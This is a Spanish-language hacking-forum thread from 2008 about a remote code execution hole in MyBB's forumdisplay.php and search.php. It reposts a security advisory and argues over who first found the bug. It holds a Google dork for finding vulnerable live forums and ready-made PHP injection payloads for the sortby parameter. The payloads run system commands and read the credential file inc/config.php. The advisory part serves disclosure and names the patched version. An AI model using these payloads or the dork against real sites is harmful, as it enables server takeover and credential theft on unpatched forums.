Test Foro de elhacker.net SMF 2.1

He descubierto un bug que afecta los foros hechos en MyBB recientes.
mi dork: inurl:"forumdisplay.php?fid=" +intext:"MyBB Group"

Exploit:

'];<comando PHP>;exit;//


Sintaxis:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby=[exploit]

Ejemplos:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];phpinfo();exit;//

http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];system('ls');exit;//

by zion
Mi fuente.

Cita de: Zion1024 en 23 Enero 2008, 19:42 PM
He descubierto un bug que afecta los foros hechos en MyBB recientes.
mi dork: inurl:"forumdisplay.php?fid=" +intext:"MyBB Group"

Exploit:

Código [Seleccionar] Expandir


'];<comando PHP>;exit;//


Sintaxis:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby=[exploit]

Ejemplos:
http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];phpinfo();exit;//

http://www.sitiovulnerable.com/forumdisplay.php?fid=23&sortby='];system('ls');exit;//

by zion
Mi fuente.

Este advisorie lo publico waraxe 

Fuente verdadera: http://www.waraxe.us/advisory-61.html

Author: Janek Vind "waraxe"
Independent discovery: koziolek
Date: 16. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-61.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.

Vulnerabilities discovered
===============================================================================

1. Remote Code Execution in "forumdisplay.php":
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: valid forum "fid" must be known.
Attacker doesn't need to have any privileges in mybb installation to be
successful in attack.

Proof-Of-Concept request:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='

... and we will see error message:

Parse error: syntax error, unexpected ''', expecting ']' in
C:apache_wwwrootmybb.1.2.10forumdisplay.php(407) : eval()'d code on line 1

Problematic piece of code is related to "eval()" function:

eval("$orderarrow['$sortby'] = "".
$templates->get("forumdisplay_orderarrow")."";");


Example attacks:

http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
&sortby='];readfile('inc/config.php');exit;//


2. Remote Code Execution in "search.php":
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Precondition: search "sid" must be known - but that's trivial task.
Attacker doesn't need to have any privileges in mybb installation to be
successful in attack.

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='

Parse error: syntax error, unexpected ''', expecting ']' in
C:apache_wwwrootmybb.1.2.10search.php(141) : eval()'d code on line 1

Problematic is exactly same piece of code, as in previous case:

eval("$orderarrow['$sortby'] = "".
$templates->get("forumdisplay_orderarrow")."";");

Example attacks:

http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];phpinfo();exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];system('ls');exit;//
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
&sortby='];readfile('inc/config.php');exit;//

Both remote code execution security holes are very dangerous and can be
used by attacker to complete takeover the website and possible total
compromise of webserver.

How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download MyBB new version 1.2.11 as soon as possible!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] ------------------------------------

Ya deja los copy paste

salu2

Joder discutir lo que otros foros hacen eso s0x!!

Atraverse a decir "Descubri" sin antes mirar lo publico o indagar un poco en inet/google, si que es "valor"

El bug fue reportado por "Silentz" de http://www.w4ck1ng.com/ y mantenido en 0day hasta su publicacion, tambien por "waraxe" ya hace algunas semanas, solo esperaban el feedback del vendor para publicar.

-berz3k.